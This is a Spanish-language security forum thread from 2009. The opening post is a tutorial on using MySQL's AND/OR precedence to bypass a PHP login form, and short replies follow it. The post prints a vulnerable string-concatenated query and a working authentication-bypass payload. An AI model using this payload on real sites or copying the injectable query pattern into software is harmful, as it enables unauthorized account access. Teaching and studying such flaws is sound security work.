La Comunidad DragonJAR  

Retroceder   La Comunidad DragonJAR > Seguridad > Seguridad en Bases de Datos

¿Qué es La Comunidad DragonJAR?

DragonJAR.org es una comunidad de investigadores, estudiantes, profesionales y entusiastas de la Seguridad Informática, En la cual se busca darle un enfoque eminentemente práctico a la teoría sin olvidar las bases esenciales de esta.

De esta manera se Tratará de ofrecer soluciones útiles a los usuarios, tanto novatos, estudiantes, como a los profesionales e investigadores, Teniendo presente que el mundo de la seguridad informática y la información es un medio que se auto inventa constantemente.

La Comunidad DragonJAR es un espacio abierto y libre para cualquier persona que desee compatir en un ambiente digital sus conocimientos o sus dudas. El registro es gratuito, toma poco tiempo y te permite disfrutar de todas las características del sitio.

Si es tu primera visita, quizás deberías visitar la Ayuda para aprender un poco sobre el uso de los foros, para empezar a ver mensajes, selecciona el foro que quieres visitar de la lista de abajo.

Respuesta
 
LinkBack Herramientas Desplegado
Antiguo 02-Aug-2009, 22:14   #1
Administradores
 
Avatar de DragoN
 
Fecha de Ingreso: 11-August-2008
Ubicación: Manizales
Mensajes: 1.024
Gracias: 424
Agradecido 312 veces en 149 Mensajes
DragoN está en el buen camino
Predeterminado SQL Injection con Orden de Preferencia en MySQL

En infomática por regla general la multiplicación y la división tienen preferencia sobre operaciones como la suma y la resta. Algo similar tambien sucede con operaciones lógicas como AND y OR. Las ANDs tienen preferencia sobre las OR. Una mala construcción de una consulta SQL nos puede jugar malas pasadas:

Código:
select true and false --> FALSE
select true or true and false --> TRUE
Esta característica se puede utilizar para saltarse mediante injección SQL paginas de login (en este caso PHP) que tengan una consulta así:

Código:
$sql = "
   SELECT * 
   FROM users 
   WHERE username='".$_POST["username"]."' AND password='".md5($_POST["psw"])."'";
Como vemos el campo password no es injectable ya que cualquier valor introducido es filtrado por una función. En este caso un hash md5.
El único parámetro injectable es username. Pongamos lo que pongamos en username siempre arrastraremos un "AND password=md5()" que por tanto deberá evaluarse.

Si tenemos en cuenta la prioridad en las operaciones AND/OR de MySQL podemos injectar con:
Código:
Username: ' or username<>'' or password<>'
Password: foo
La consulta SQL queda así:
Código:
SELECT * 
FROM users 
WHERE username='' or username<>'' or password<>'' 
      AND password='acbd18db4cc2f85cedef654fccc4a4d8'
La consulta siempre será evaluada a TRUE.

Visto en el blog de amperis
DragoN está desconectado   Responder Citando
Los siguientes Usuarios dicen Gracias a DragoN por este util Mensaje:
Epsilon (02-Aug-2009)
Antiguo 02-Aug-2009, 23:39   #2
Administradores
 
Avatar de Epsilon
 
Fecha de Ingreso: 11-August-2008
Ubicación: Colombia
Mensajes: 630
Gracias: 128
Agradecido 67 veces en 48 Mensajes
Epsilon está en el buen camino
Predeterminado

Se te olvida lo mas importante -- da mas xDD
__________________



Epsilon está desconectado   Responder Citando
Antiguo 04-Aug-2009, 12:34   #3
axy
Dragonauta en Proceso
 
Fecha de Ingreso: 01-June-2009
Mensajes: 75
Gracias: 0
Agradecido 3 veces en 2 Mensajes
axy está en el buen camino
Predeterminado

Bueno el aporte, es increible como a pesar de lo vieja que es este tipo de tecnica todavia se encuentren cosas nuevas, ayer lei algo sobre las serialized sql injection y pues es notable lo versatil de esta tecnica.

Saludos..
axy está desconectado   Responder Citando
Respuesta

Etiquetas
injection, mysql, orden, preferencia, sql

Herramientas
Desplegado

Normas de Publicación
No puedes crear nuevos temas
No puedes responder mensajes
No puedes subir archivos adjuntos
No puedes editar tus mensajes

Los Códigos BB están Activado
Las Caritas están Activado
[IMG] está Activado
El Código HTML está Desactivado
Trackbacks are Activado
Pingbacks are Activado
Refbacks are Activado



La franja horaria es GMT -6. Ahora son las 22:55.